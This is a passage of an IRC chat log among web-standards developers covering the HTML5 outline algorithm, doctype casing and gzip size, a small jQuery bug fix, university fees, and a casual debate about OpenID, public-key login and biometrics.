[06:44:06.0000] <Lachy>
    <h1>Heading B</h1>

[06:44:07.0000] <Lachy>
  </section>

[06:44:08.0000] <Lachy>
  <h1>Heading C</h1>

[06:44:09.0000] <Lachy>
</section>

[06:44:10.0000] <Lachy>
http://james.html5.org/outliner.html is giving a strange result

[06:47:00.0000] <Hixie>
um

[06:47:01.0000] <Hixie>
/me looks at the spec

[06:48:00.0000] <Lachy>
Hixie, this step doesn't make sense:

[06:48:01.0000] <Lachy>
If the top of the stack is a heading content  element

[06:48:02.0000] <Lachy>
    Do nothing.

[06:48:03.0000] <Lachy>
and since the spec says to execute the first relevant step, once a heading content element is at the top of the stack, then the rest of the steps are irrelevant

[06:49:00.0000] <Lachy>
unless I'm misunderstanding something

[06:50:00.0000] <Hixie>
it appears that the result is this:

[06:50:01.0000] <Hixie>
Document

[06:50:02.0000] <Hixie>
 |

[06:50:03.0000] <Hixie>
 '-- Heading A

[06:50:04.0000] <Hixie>
      |

[06:50:05.0000] <Hixie>
      +-- Heading C

[06:50:06.0000] <Hixie>
      | 

[06:50:07.0000] <Hixie>
      '-- Heading B

[06:51:00.0000] <Lachy>
right, that's what I would intuitively expect. So it's a bug in jgraham's outliner

[06:51:01.0000] <Hixie>
what does it do?

[06:51:02.0000] <Hixie>
i couldn't get it to work for me at all

[06:51:03.0000] <Hixie>
and you're misusnderstanding that step -- the step before it will apply when exiting the heading content element

[06:52:00.0000] <Lachy>
#body

[06:52:01.0000] <Lachy>
|  Heading A

[06:52:02.0000] <Lachy>
|    Heading C

[06:52:03.0000] <Lachy>
|      Heading B

[06:52:04.0000] <Hixie>
that's what i meant

[06:53:00.0000] <Hixie>
that is correct

[06:53:01.0000] <Hixie>
ignore what i pasted, i am too tired to draw ascii art apparently

[06:54:00.0000] <Hixie>
it's nearly 6am

[06:54:01.0000] <Hixie>
i should so totally sleep

[06:54:02.0000] <Hixie>
nn

[06:54:03.0000] <Lachy>
that doesn't make sense. Heading B is clearly after the Heading C section, so it shouldn't be a subsection of it

[06:54:04.0000] <Hixie>
heading c's section is its parent "section> element

[06:54:05.0000] <Hixie>
which comes bofer heading b's <section>

[06:55:00.0000] <Hixie>
ok i'm really leaving now. good night :-)

[06:55:01.0000] <Lachy>
The result should be the same as:

[06:55:02.0000] <Lachy>
<body>

[06:55:03.0000] <Lachy>
<h1>Heading A</h1>

[06:55:04.0000] <Lachy>
<section>

[06:55:05.0000] <Lachy>
  test

[06:55:06.0000] <Lachy>
  <section>

[06:55:07.0000] <Lachy>
    <h1>Heading B</h1>

[06:55:08.0000] <Lachy>
  </section>

[06:55:09.0000] <Lachy>
  <section>

[06:55:10.0000] <Lachy>
    <h1>Heading C</h1>

[06:55:11.0000] <Lachy>
  </section>

[06:55:12.0000] <Lachy>
</section>

[06:55:13.0000] <Lachy>
ah, except I got Heading B and C switched

[06:55:14.0000] <Lachy>
I will look into it and file a bug

[06:57:00.0000] <Lachy>
(ah, wait, ignore my comment about them being switched.)

[09:01:00.0000] <AryehGregor>
Unfortunately, I enter my Ph.D. program on Tuesday, so my time might become extremely limited.

[09:01:01.0000] <AryehGregor>
I'll see, though.

[09:03:00.0000] <TabAtkins>
Congrats, then.  ^_^

[09:03:01.0000] <TabAtkins>
What are you going to be Professor of?

[09:04:00.0000] <AryehGregor>
Pure mathematics.

[09:04:01.0000] <AryehGregor>
Being a professor is a few years off yet, though.

[09:04:02.0000] <AryehGregor>
. . . like eight or something.  :/

[09:05:00.0000] <AryehGregor>
(depending on how long I take to finish my thesis and postdocs)

[09:05:01.0000] <TabAtkins>
Awesome!  I'm sad that higher math doesn't fit my brain.  -_-

[09:06:00.0000] <TabAtkins>
I can understand up to roughly the point where a math major would end you, but beyond that all I can do is smile and nod.

[09:07:00.0000] <AryehGregor>
You know things like group theory and topology?

[09:07:01.0000] <TabAtkins>
I know *of* them, and I like reading about them.  But I don't understand them.

[09:07:02.0000] <AryehGregor>
Heh.

[09:07:03.0000] <AryehGregor>
That puts you well above most people, then.  :)

[09:07:04.0000] <AryehGregor>
Higher math is more of the same, just ever more specialized.

[09:07:05.0000] <TabAtkins>
Yeah, I know, but "mathematician" was one of my goals as a kid.  ^_^

[09:08:00.0000] <AryehGregor>
Cool.

[09:09:00.0000] <TabAtkins>
The funny thing is, I *know* there's a lot of group theory behind Haskell.  I *can* understand that, as long as you keep it in programming terms.  The moment an explanation veers off into actual math I get lost until I can say "Oh, so it's just function x being lifted and applying to two argument" or whatever.

[09:09:01.0000] <TabAtkins>
And then I go write it into my lisp utilities, because it's usually useful.

[09:10:00.0000] <AryehGregor>
If it's usually useful, then either you aren't learning pure mathematics or you do very strange kinds of programming.  :)

[09:10:01.0000] <TabAtkins>
There's no such thing as math that can't be applied.  ^_^

[09:11:00.0000] <TabAtkins>
But yeah, heavily functional programming is usually very strange too.  ^_^

[09:12:00.0000] <TabAtkins>
... I've used smilies 5 times on this screenful.  I have a problem.

[09:12:01.0000] <Dashiva>
If you vary the smiley, it's less obvious

[09:12:02.0000] <AryehGregor>
All math can be applied, if publishing a paper on it counts as applying it.

[09:13:00.0000] <TabAtkins>
That doesn't count, Aryeh.  ^_^

[09:13:01.0000] <TabAtkins>
goddammit

[09:13:02.0000] <TabAtkins>
Also: I'm not sure why the background-position syntax is so restrictive.  There are several 2 and 3 token cases that are disallowed by the grammar but that are perfectly unambiguous.

[09:14:00.0000] <AryehGregor>
Then I think you'd be pretty hard pressed to find many direct applications of, say, . . . I don't want to name anything lest someone come up with an application.

[09:14:01.0000] <AryehGregor>
But I guess I'll try anyway.  Any applications for Galois theory?

[09:14:02.0000] <TabAtkins>
Pretty sure I've heard of something, yeah.  Give me a sec to look it up.

[09:14:03.0000] <Dashiva>
AryehGregor: Applications of it in other math, which is applied in other math, and at the end of the chain is a practical application

[09:15:00.0000] <AryehGregor>
Yeah, probably.

[09:15:01.0000] <AryehGregor>
I'm sure Galois theory is used in some branch of applied math.

[09:15:02.0000] <AryehGregor>
Who cares, though, it's cool regardless.

[09:16:00.0000] <Dashiva>
Yes, for a definition of cool most people will never comprehend :)

[09:18:00.0000] <AryehGregor>
That just makes it cooler.

[09:18:01.0000] <AryehGregor>
/me permutes Dashiva and TabAtkins while leaving himself fixed

[09:18:02.0000] <TabAtkins>
Hey man, I'm married.

[09:18:03.0000] <TabAtkins>
I don't need to be permuted with anyone else.

[09:19:00.0000] <Dashiva>
And I don't have a tab interface

[09:19:01.0000] <TabAtkins>
Gah, so I can't find what I remember right now, but being as it can be used to address the solubility of polynomials, I'm going to guess that it's been applied to error-correcting codes.

[09:21:00.0000] <AryehGregor>
CRC uses some group theory, but I don't think it uses any Galois theory.

[09:21:01.0000] <AryehGregor>
CRC apparently uses the two-element field, so Galois theory is pretty much irrelevant.

[09:21:02.0000] <jgraham>
/me guesses solubility of polynomials is generally rather useful

[09:21:03.0000] <TabAtkins>
Reed-Solomon?

[09:22:00.0000] <TabAtkins>
I just saw a reference to that.

[09:22:01.0000] <TabAtkins>
evening, gsnedders

[09:22:02.0000] <jgraham>
Like I imagine there are physics applications where it is important to know whether there exist a closed form solution to certain polynomials or not

[09:22:03.0000] <AryehGregor>
It's true that Galois theory can be used to prove facts about the solvability of polynomials over Q, so I grant it probably does have some indirect application.

[09:22:04.0000] <jgraham>
But I can't think of any right now

[09:22:05.0000] <gsnedders>
afternoon

[09:22:06.0000] <AryehGregor>
Computational if nothing else.

[09:22:07.0000] <TabAtkins>
Physics has, like, 2 closed form solutions.

[09:23:00.0000] <AryehGregor>
TabAtkins, unless you count integrals as closed-form!  Then it has at least 5.

[09:23:01.0000] <AryehGregor>
If you count systems of differential equations as closed-form, *then* you're in business.  :P

[09:23:02.0000] <TabAtkins>
That's iffy, but okay.  diffeqs are *not* closed form.  ^_^

[09:24:00.0000] <AryehGregor>
Well, it's mathematics.  You're allowed to use whatever bizarre and confusing definitions you like.

[09:24:01.0000] <TabAtkins>
Ah, but this is physics.  And at the end of the day you need to shut up and compute.

[09:24:02.0000] <TabAtkins>
And all your fancy-pants abstract structures fall to the simple expedient of iteration and ever-more computing power.

[09:25:00.0000] <gsnedders>
/me wonders how many to meet up with next week back at home

[09:25:01.0000] <Dashiva>
Numerical methods win the day again

[09:26:00.0000] <TabAtkins>
Moore is the patron saint of numerical methods.

[09:26:01.0000] <jgraham>
Numerical methods suck. always. 

[09:26:02.0000] <AryehGregor>
Yes.

[09:26:03.0000] <AryehGregor>
Anyone who says numerical methods beat analytic methods has no idea what they're talking about.

[09:26:04.0000] <TabAtkins>
Go solve the 3-body problem, then.  ^_^

[09:27:00.0000] <AryehGregor>
Numerical methods are what you use when you have no other options.

[09:27:01.0000] <TabAtkins>
Well, yeah.  Which is usually the case.

[09:27:02.0000] <TabAtkins>
If you have a cheap analytic method, of course you use it.  But they're often rare.

[09:27:03.0000] <AryehGregor>
TabAtkins, numerical methods are useless on the general three-body problem.  Some solutions are chaotic.  Any finite-precision numerical method will give you useless results for those cases.

[09:27:04.0000] <TabAtkins>
On the other hand, there's totally a supercomputer in the other room...

[09:27:05.0000] <AryehGregor>
(AFAIK)

[09:28:00.0000] <AryehGregor>
I have access to supercomputers at Courant, I think, if I need them.

[09:28:01.0000] <TabAtkins>
AryehGregor: Indeed, when attempting to forecast out too far.

[09:28:02.0000] <jgraham>
Indeed, you often have to use them. But they suck to implement are generally have problems that you don't want to deal with

[09:28:03.0000] <AryehGregor>
TabAtkins, "too far" possibly meaning "any useful distance"

[09:28:04.0000] <AryehGregor>
.

[09:28:05.0000] <TabAtkins>
(though knowing when 'too far' is is probably itself uncomputable)

[09:28:06.0000] <AryehGregor>
No, it's not uncomputable.

[09:28:07.0000] <AryehGregor>
You can compute the doubling time for errors.

[09:29:00.0000] <AryehGregor>
Of course, in the chaotic cases, your input data is worthless, so no solution is useful.

[09:29:01.0000] <TabAtkins>
Hm, that's true.  I bluffed my way through numerical methods, actually.

[09:29:02.0000] <AryehGregor>
I never took any of that applied nonsense.

[09:29:03.0000] <jgraham>
TabAtkins: You did a maths degree?

[09:29:04.0000] <AryehGregor>
But I've heard a bit about chaos theory.

[09:29:05.0000] <TabAtkins>
jgraham: at my university, a comp sci degree is a single class short of a math minor.

[09:30:00.0000] <TabAtkins>
so of course i took that class and got myself another feather in the cap.

[09:30:01.0000] <jgraham>
TabAtkins: Ah 

[09:30:02.0000] <TabAtkins>
I think the class was Calc3.  Dunno why.  That stuff was easy, and useful for comp sci.

[09:31:00.0000] <gsnedders>
/me sighs at unis

[09:33:00.0000] <TabAtkins>
Yeah, good luck with that, dude.  You planning on attending anywhere?

[09:34:00.0000] <gsnedders>
Somewhere, somehow.

[09:34:01.0000] <TabAtkins>
Just trick them into paying for you.  It worked for me.

[09:34:02.0000] <gsnedders>
That's not the problem.

[09:35:00.0000] <gsnedders>
The problem is having been ill a lot and having only a C in maths, where I need at least  a B for most good places.

[09:35:01.0000] <jgraham>
/me notes that the UK university system is not yet insane in the amount of money it charges

[09:36:00.0000] <TabAtkins>
Oh, right, you guys have to deal with grades from high school actually mattering.

[09:36:01.0000] <TabAtkins>
Come to the US instead.  ^_^

[09:36:02.0000] <gsnedders>
Then I hit the money issue. :P

[09:36:03.0000] <TabAtkins>
Heh.

[09:38:00.0000] <TabAtkins>
I'm lucky that grades matter less in most places over here.  I just don't mesh well with a lot of classes, so I ended up with bad grades anywhere that placed more emphasis on homework than tests.

[09:38:01.0000] <AryehGregor>
jgraham, I went to the City College of New York.  It was like $2000 a term.

[09:38:02.0000] <AryehGregor>
. . . only for state residents, of course.

[09:38:03.0000] <TabAtkins>
Yeah, about to say.  Lucky you.

[09:39:00.0000] <gsnedders>
AryehGregor: English unis are £3,145 per year

[09:39:01.0000] <AryehGregor>
All of them?

[09:39:02.0000] <gsnedders>
AryehGregor: yes

[09:39:03.0000] <TabAtkins>
That's about what I paid after conversion, gsnedders.

[09:39:04.0000] <TabAtkins>
Wait, per *year*?

[09:39:05.0000] <AryehGregor>
Crazy socialists.  :P

[09:39:06.0000] <AryehGregor>
Here they're all different prices.

[09:39:07.0000] <jgraham>
Strictly that is just an upper limit

[09:39:08.0000] <gsnedders>
AryehGregor: Scottish unis, for Scottish and EU (but not England, Wales, and NI) citizens are £0 per year

[09:39:09.0000] <AryehGregor>
Harvard is free for undergraduates these days, I think, unless you're rich.

[09:40:00.0000] <TabAtkins>
I was probably 3k-4k per semester.

[09:40:01.0000] <gsnedders>
jgraham: Oh, is it? I never knew. Everywhere charges it though. :P

[09:40:02.0000] <AryehGregor>
gsnedders, if you go to a public university and you're needy and you're a good student, you can usually get enough scholarships to go for free and make a profit, AFAICT.

[09:40:03.0000] <AryehGregor>
(in America)

[09:40:04.0000] <AryehGregor>
At least I had a friend who did that.

[09:40:05.0000] <TabAtkins>
I was doing that for 2 years until I lost the scholarship.

[09:41:00.0000] <gsnedders>
AryehGregor: Then I have to go and sit SATs (and arrange to sit them) then fill out x application forms…

[09:41:01.0000] <TabAtkins>
SATs is easy.

[09:41:02.0000] <jgraham>
Scholarship based systems are generally not good. They create too much pressure

[09:41:03.0000] <gsnedders>
TabAtkins: I still need to arrange and do them, which is effort. :P

[09:41:04.0000] <AryehGregor>
Not for good students who can keep up the terms reliably.

[09:42:00.0000] <jgraham>
Which doesn't always have a positive impact

[09:42:01.0000] <gsnedders>
AryehGregor: It's still extra pressure on them

[09:42:02.0000] <gsnedders>
/me waits to lose wifi again

[09:42:03.0000] <gsnedders>
*loose

[09:42:04.0000] <gsnedders>
*lose

[09:42:05.0000] <gsnedders>
/me can spk English, honest

[09:42:06.0000] <gsnedders>
:P

[09:43:00.0000] <AryehGregor>
Well, I don't know.  The alternative is to be given money/services for free regardless of whether you're actually attending class and doing your work?

[09:44:00.0000] <jgraham>
Yep. You loose out in the long term by getting a shitty degree and not being able to get a job

[09:45:00.0000] <jgraham>
(actually the only person I knew at university who dropped out had previously been on a scholarship to Eton. He was bright but burned out by 18)

[09:46:00.0000] <gsnedders>
(For those keeping track, basic answer from Southampton is to phone up the new CS admissions tutor once the post has been appointed after the current guy retiring this month, and try and work out what comprimise can be made for the maths)

[09:48:00.0000] <TabAtkins>
/me can't understand how he could possibly have written this function to take up over two screens, when he just rewrote it to be about half a screen.

[09:49:00.0000] <AryehGregor>
/me likes the use of "screen" as a unit of measurement

[09:49:01.0000] <jgraham>
gsnedders: You are planning on S'hampton + G'gow + E'brugh?

[09:50:00.0000] <TabAtkins>
That's the most important measure of code.  Once a function gets longer than a screen, it's time to refactor.  You can't really *understand* a function that you can't see all at once.

[09:50:01.0000] <gsnedders>
jgraham: + 2 other places

[09:50:02.0000] <gsnedders>
jgraham: But yeah, that's my current rough plan

[09:50:03.0000] <AryehGregor>
TabAtkins, yeah, but . . . different people have totally different screen sizes.

[09:51:00.0000] <TabAtkins>
AryehGregor: Yeah, that's why you get as large a screen as possible.  That way you're not as limited.

[09:51:01.0000] <jgraham>
gsnedders: Do you know which two?

[09:51:02.0000] <gsnedders>
jgraham: no

[09:53:00.0000] <TabAtkins>
If you would like, you can use "head" as a unit of measurement.  If your code is bigger than your head (pressed against the screen), it needs to be refactored.  It amounts to roughly the same thing.

[09:53:01.0000] <gsnedders>
/me hears ship horns from the docks

[09:54:00.0000] <jgraham>
/me wishes for keybindings on OS-X for "make this window take up the full height and left two thirds of my screen"

[09:54:01.0000] <gsnedders>
/me does too

[09:59:00.0000] <gsnedders>
jgraham: I was talking to several people and several of them were still saying I ought to apply for Oxbridge, if I manage to do something to get my maths up to scratch

[10:01:00.0000] <gsnedders>
Basically, I'm not sure how much point there is in applying to many places in England as unless I got into either Oxbridge or Southampton, I'd rather go to Edinburgh (which I should get into on the basis of Highers alone)

[10:01:01.0000] <AryehGregor>
TabAtkins, I have a big head.

[10:01:02.0000] <AryehGregor>
I prefer to use LOC, personally.  ;)

[10:01:03.0000] <TabAtkins>
Then you get to write bigger functions!

[10:01:04.0000] <gsnedders>
Seeming I have five courses to apply for, in some ways it seems that I may as well in some ways

[10:02:00.0000] <TabAtkins>
I think LOC has been poisoned by management techniques that imply that more LOC = more betta'.

[10:03:00.0000] <TabAtkins>
By using a unit of measurement that is inherently personal, it personalizes the rule.

[10:03:01.0000] <TabAtkins>
It also doesn't require counting.

[10:04:00.0000] <jmb>
gsnedders: who did you talk to at soton, ooi?

[10:04:01.0000] <TabAtkins>
You can't really talk about how many screens long a program is, after all.  It just doesn't make much sense.  But saying "each function should fit on the screen" promotes the ideal of refactoring and splitting out subfunctions rather than duplicating code.

[10:04:02.0000] <gsnedders>
jmb: mw and Hugh… Davis

[10:05:00.0000] <jmb>
right

[10:05:01.0000] <gsnedders>
/me wonders who jmb is

[10:05:02.0000] <jmb>
mw is/was my phd supervisor

[10:05:03.0000] <gsnedders>
ah

[10:06:00.0000] <jmb>
and hugh's head of that research group :)

[10:10:00.0000] <TabAtkins>
/me has finally gotten his homepage's cpu usage under control.

[10:11:00.0000] <gsnedders>
/me grumbles about his intention of getting a bus at 8:10 on Wednesday

[10:11:01.0000] <TabAtkins>
I can now add more elements to it, confident that I'll actually be able to test the thing without locking up ff

[10:12:00.0000] <AryehGregor>
Use Chrome and you don't have to worry so much about locking up, in my experience.  :P

[10:13:00.0000] <TabAtkins>
For some strange reason, Chrome's not doing it right.

[10:13:01.0000] <TabAtkins>
Though generally, yeah.

[10:13:02.0000] <TabAtkins>
View www.xanthir.com in FF, then in Chrome.

[10:14:00.0000] <AryehGregor>
Haha.

[10:14:01.0000] <AryehGregor>
Cute.

[10:14:02.0000] <AryehGregor>
Very video-gamey.

[10:14:03.0000] <TabAtkins>
Well, they're the mario clouds, so yeah.

[10:15:00.0000] <TabAtkins>
I'm thinking of making them do a pixellated move, rather than a smooth transition.

[10:15:01.0000] <TabAtkins>
but anyway!  Chrome, for some reason, won't adjust their top.

[10:15:02.0000] <AryehGregor>
Hmm, I see.

[10:16:00.0000] <TabAtkins>
I wonder if it doesn't like receiving an untyped value for top?

[10:16:01.0000] <AryehGregor>
The top rule isn't showing up.

[10:16:02.0000] <AryehGregor>
jQuery, you mean?

[10:16:03.0000] <Philip`>
Hixie: That rich snippets thing seems a pretty unhelpful tool for testing the RDFa parser - I'd want something that simply dumps triples from arbitrary RDFa, so I can add its output to http://philip.html5.org/demos/rdfa/results.html

[10:17:00.0000] <gsnedders>
hmm, TfL website says to take Bakerloo/Victoria to get from Waterloo to King's Cross. Odd.

[10:17:01.0000] <TabAtkins>
Yeah, I set the top in the jQuery.

[10:17:02.0000] <TabAtkins>
I'm wondering if Chrome just doesn't like it for some reason.  But I send an untyped value to left as well.

[10:18:00.0000] <AryehGregor>
I'd expect it's a jQuery bug.

[10:18:01.0000] <AryehGregor>
. . . I never played much Mario.

[10:18:02.0000] <AryehGregor>
Except Super Mario RPG.

[10:18:03.0000] <AryehGregor>
On the SNES.

[10:18:04.0000] <AryehGregor>
<3

[10:19:00.0000] <TabAtkins>
<3 indeed.  I've bought that game 3 times now.  Twice on SNES, once on Wii.

[10:19:01.0000] <AryehGregor>
 var scale = 1+Math.random();

[10:19:02.0000] <AryehGregor>
  top = random(0, screenheight/2 - 96),

[10:19:03.0000] <AryehGregor>
Do you want the ";" to be a ","?

[10:19:04.0000] <TabAtkins>
...

[10:19:05.0000] <TabAtkins>
yes i do.

[10:20:00.0000] <TabAtkins>
Ah, all fixed.

[10:20:01.0000] <AryehGregor>
I wonder what the underlying JS interop problem was in V8 vs. TraceMonkey.

[10:21:00.0000] <TabAtkins>
I dunno.  I wonder which one that was a bug in?

[10:21:01.0000] <Philip`>
Hixie: (This thing just complains I don't have typeof, and if I do have typeof then it doesn't say what namespace any predicates are in)

[10:28:00.0000] <jgraham>
gsnedders: That sounds sensible to me

[10:28:01.0000] <jgraham>
(the TfL advice)

[10:29:00.0000] <jgraham>
IIRC it is the fewest stops (so probably the quickest) but looks longer on the tube map

[10:29:01.0000] <jgraham>
Also, it avoids the northern line which is always good

[10:34:00.0000] <gsnedders>
jgraham: It's geographically longer too

[10:35:00.0000] <gsnedders>
I'm just somewhat surprised that the geographically longer route is quicker even if it does have fewer stops

[10:35:01.0000] <gsnedders>
and IIRC it'll take longer to walk at KGX

[10:36:00.0000] <gsnedders>
As I think Victoria is out on a limb there

[10:37:00.0000] <jgraham>
gsnedders: It won't take longer to walk

[10:37:01.0000] <jgraham>
At least not substantially longer

[10:37:02.0000] <gsnedders>
jgraham: It's been a while since I've been on the Victoria

[10:38:00.0000] <jgraham>
(unless I am confusing it with the picadilly line at KGX which is possible)

[10:38:01.0000] <gsnedders>
Piccadilly is very close to Northern, which is no distance at all

[10:39:00.0000] <gsnedders>
There's extra, long, tunnels to walk down to get to Victoria that'll take a min or two

[10:39:01.0000] <gsnedders>
But I have over an hour to make it across :P

[10:39:02.0000] <jgraham>
Anyway the point is that that is a route that I often use to go Waterloo to Kings Cross and I believe it to be one of the quicker options

[10:40:00.0000] <gsnedders>
/me generally doesn't go to Waterloo :P

[10:40:01.0000] <jgraham>
As quick as any other option within the uncertainty limit of train arrival times

[10:40:02.0000] <jcranmer>
there's, extra, commas, in, that, sentence

[10:40:03.0000] <gsnedders>
jcranmer: In what I wrote? Removing them changes the meaning of it.

[10:41:00.0000] <gsnedders>
jcranmer: Removing them implies the "extra" describes the "long"

[10:41:01.0000] <jcranmer>
that's what I thought you had intended

[10:41:02.0000] <gsnedders>
Not that they are both extra and they are long

[10:41:03.0000] <gsnedders>
I said what I intended :)

[10:42:00.0000] <AryehGregor>
Tra-la-la.

[10:43:00.0000] <AryehGregor>
$ wget -qO- --user-agent=Simetrical http://www.wikipedia.org | head -n 1

[10:43:01.0000] <AryehGregor>
<!doctype html>

[10:43:02.0000] <AryehGregor>
We need bugs 640 and 641 fixed in the validator . . . http://validator.nu/?doc=http://www.wikipedia.org

[10:44:00.0000] <Philip`>
How ugly :-(

[10:44:01.0000] <Philip`>
/me prefers <!DOCTYPE html>

[10:44:02.0000] <gsnedders>
/me uses the lowercase form, because it's less effort to type

[10:44:03.0000] <AryehGregor>
nonsense.  uppercase letters are the devil.

[10:46:00.0000] <Philip`>
gsnedders: How is it less effort? You have to hold down the shift key for <!, and you just keep it down a bit longer

[10:47:00.0000] <AryehGregor>
Of course, www.wikipedia.org is kind of trivial, since it's just a static HTML page.

[10:47:01.0000] <AryehGregor>
Converting en.wikipedia.org is more interesting.  I have no idea when the next software deployment will be.

[10:49:00.0000] <Philip`>
AryehGregor: Is there any change on www. other than the doctype?

[10:49:01.0000] <AryehGregor>
$ gzip < /tmp/wp.html > /tmp/wp1.html.gz

[10:49:02.0000] <AryehGregor>
$ sed 's/<!doctype/<!DOCTYPE/' < /tmp/wp.html | gzip > /tmp/wp2.html.gz

[10:49:03.0000] <AryehGregor>
$ ls -l /tmp/wp*

[10:49:04.0000] <AryehGregor>
-rw-r--r-- 1 aryeh aryeh 12004 2009-09-06 12:51 /tmp/wp1.html.gz

[10:49:05.0000] <AryehGregor>
-rw-r--r-- 1 aryeh aryeh 12007 2009-09-06 12:51 /tmp/wp2.html.gz

[10:49:06.0000] <AryehGregor>
-rw-r--r-- 1 aryeh aryeh 46418 2009-09-06 12:50 /tmp/wp.html

[10:49:07.0000] <AryehGregor>
<!doctype is three bytes shorter than <!DOCTYPE when gzipped.  I rest my case.

[10:49:08.0000] <AryehGregor>
Philip`, yeah, a few trivial things like removing <big>.

[10:49:09.0000] <AryehGregor>
And dropping type="text/css" and such.

[10:50:00.0000] <AryehGregor>
The wiki itself will be deploying a few actual features, like HTML 5 <input>.

[10:50:01.0000] <AryehGregor>
But not many.  There aren't many new HTML 5 features that are usable in practice yet for authors.

[10:50:02.0000] <AryehGregor>
Suggestions are welcome.

[10:50:03.0000] <AryehGregor>
http://www.mediawiki.org/wiki/HTML_5 <-- Add here if you like.

[10:51:00.0000] <Dashiva>
AryehGregor: Is it still shorter if you have a title containing DOCTYPE again right afterwards?

[10:51:01.0000] <AryehGregor>
Dashiva, doubtful.

[10:51:02.0000] <AryehGregor>
Really doubtful if you have a few.

[10:51:03.0000] <AryehGregor>
But maybe.

[10:51:04.0000] <Philip`>
What if you use <!Doctype>?

[10:51:05.0000] <AryehGregor>
The reason is that there tend to be a lot more lowercase letters in English text than uppercase.

[10:52:00.0000] <AryehGregor>
So lowercase strings get compressed better.

[10:52:01.0000] <TabAtkins>
I'll be happy when the openid patch gets integratd.

[10:52:02.0000] <AryehGregor>
Philip`, 12005, so still a byte larger.

[10:52:03.0000] <AryehGregor>
TabAtkins, there is no OpenID patch.  There's an extension, but nobody's really proposed it for deployment by Wikimedia.

[10:52:04.0000] <AryehGregor>
It would need some careful thought and has gotten none.

[10:53:00.0000] <Philip`>
AryehGregor: I don't think English text is really an important part of www.wikipedia.org, given that most of it is markup and JS and CSS, and most of the rest is non-English :-p

[10:53:01.0000] <TabAtkins>
Bah.  I want to use my openid in more places.

[10:53:02.0000] <AryehGregor>
Wikimedia is really understaffed in the tech department, sadly, when it comes to senior people who can review code.

[10:53:03.0000] <TabAtkins>
I spent like a whole hour setting it up.  ^_^

[10:53:04.0000] <AryehGregor>
Philip`, the markup *is* the English text.  :)  Most pages end up being more markup (ergo, mostly-lowercase English-oid) than actual content.

[10:54:00.0000] <Philip`>
AryehGregor: It should follow the Wikipedia approach and let anybody commit new code that gets automatically deployed

[10:54:01.0000] <AryehGregor>
TabAtkins, realistically, almost the only thing OpenID lets you do is avoid having to choose a password, right?

[10:54:02.0000] <AryehGregor>
Philip`, uh-huh.

[10:54:03.0000] <AryehGregor>
We could at least use a DVCS, though.

[10:54:04.0000] <AryehGregor>
We'll probably switch sometime.

[10:54:05.0000] <TabAtkins>
Aryeh, yeah.

[10:55:00.0000] <TabAtkins>
The site queries my openid server, which requests my login and then reports back to the site.

[10:55:01.0000] <TabAtkins>
Though I also transmit a goodly bit of identifying information with my openid, so most profiles can be autofilled.

[10:56:00.0000] <AryehGregor>
Wikipedia only requires username and password for new registrations.

[10:56:01.0000] <AryehGregor>
Even e-mail is optional.

[10:56:02.0000] <AryehGregor>
(although recommended)

[10:56:03.0000] <TabAtkins>
The CSSWG wiki automatically knew my name, which was fun.  ^_^  Then I had to sign up for a normal account anyway because the openid accounts weren't properly integrated into the editor page.

[10:56:04.0000] <AryehGregor>
The editor page?

[10:57:00.0000] <AryehGregor>
Passwords of any kind are terrible anyway.  Why hasn't PKA caught on in the wider world as a substitute?

[10:57:01.0000] <AryehGregor>
Like nobody uses it.  :(

[10:57:02.0000] <Dashiva>
Because it's a mess

[10:58:00.0000] <TabAtkins>
Also: keys are annoying to lug around.

[10:58:01.0000] <AryehGregor>
In what way is it a mess?

[10:58:02.0000] <TabAtkins>
AryehGregor: fantasai couldn't find my account to give me editting privileges.

[10:58:03.0000] <AryehGregor>
TabAtkins, only because nobody's marketing some standard USB-based thing you could stick in a wallet.

[10:58:04.0000] <Dashiva>
AryehGregor: In what way isn't it?

[10:59:00.0000] <AryehGregor>
Dashiva, . . . that's a kind of broad question.

[10:59:01.0000] <Dashiva>
Take your USB thing

[10:59:02.0000] <Dashiva>
First you'd have to password protect it, so that's a password to remember

[10:59:03.0000] <Dashiva>
What do you do if you lose it?

[10:59:04.0000] <TabAtkins>
AryehGregor: but then you're relying on a fob containing information that you can't possibly memorize as an authent mechanism.

[10:59:05.0000] <Dashiva>
How do you protect against a malicious application sniffing all your keys when you use an unknown computer?

[10:59:06.0000] <AryehGregor>
Dashiva, one password.  For everything.  You can use the same public key *everywhere*.  That's the beauty.  Plus you could do biometrics or whatever instead, if you felt like it.

[10:59:07.0000] <Philip`>
Dashiva: It should use biometric identification

[11:00:00.0000] <Dashiva>
Biometrics is flawed

[11:00:01.0000] <AryehGregor>
Dashiva, you'd keep a copy in your bank vault that you could reimage if you lost it.

[11:00:02.0000] <gsnedders>
AryehGregor: What happens when someone takes that USB key?

[11:00:03.0000] <Dashiva>
AryehGregor: And normal people are going to do this?

[11:00:04.0000] <TabAtkins>
Biometrics just means that they'll cut off your finger when they mug you.

[11:00:05.0000] <Philip`>
Dashiva: The USB key can contain a small pin and a receptacle for blood DNA analysis

[11:00:06.0000] <AryehGregor>
Dashiva, and the protocol would be designed so the computer doesn't see the private key.  It just passes the data to the device, which encrypts it.

[11:00:07.0000] <Dashiva>
I don't even have a bank vault

[11:00:08.0000] <AryehGregor>
Philip`, biometrics aren't a magic bullet.  They're just as susceptible to forgery as other things.

[11:00:09.0000] <TabAtkins>
I don't want criminals to have *any* reason to do invasive surgery on me.

[11:01:00.0000] <Philip`>
AryehGregor: I have one password, for everything, I can use it everywhere, and I don't have to worry about losing anything

[11:01:01.0000] <Dashiva>
AryehGregor: And what if you don't want everyone to know who you are everywhere?

[11:01:02.0000] <Philip`>
s/I/and I/

[11:01:03.0000] <gsnedders>
Dashiva: Yes Magus…

[11:01:04.0000] <Dashiva>
You'd need several different USB keys?

[11:01:05.0000] <gsnedders>
*Magnus

[11:01:06.0000] <AryehGregor>
gsnedders, make it password-protected or such.

[11:01:07.0000] <Dashiva>
gsnedders: This isn't my secret nick :P

[11:01:08.0000] <Philip`>
AryehGregor: so it's much easier than this hypothetical new world yet has all the benefits :-)

[11:01:09.0000] <gsnedders>
Dashiva: Nor is this mine :P

[11:01:10.0000] <AryehGregor>
Dashiva, yes, people will do it, if it's what they use to authenticate to everything.  They do it for their property deeds and so forth.

[11:02:00.0000] <AryehGregor>
Philip`, if you sign up to my site and I remember your password, I now can log in as you to any site.  Congrats.  Or if I MITM you when you log in to any unsecured site.

[11:02:01.0000] <Dashiva>
No, people do not sign their porn site subscriptions

[11:02:02.0000] <AryehGregor>
Dashiva, a key is what, 8192 bits?  You could store 10,000 pregenerated ones on one device for barely more cost than one.  Have it use a different actual key for each site if you like, but the same device.

[11:03:00.0000] <AryehGregor>
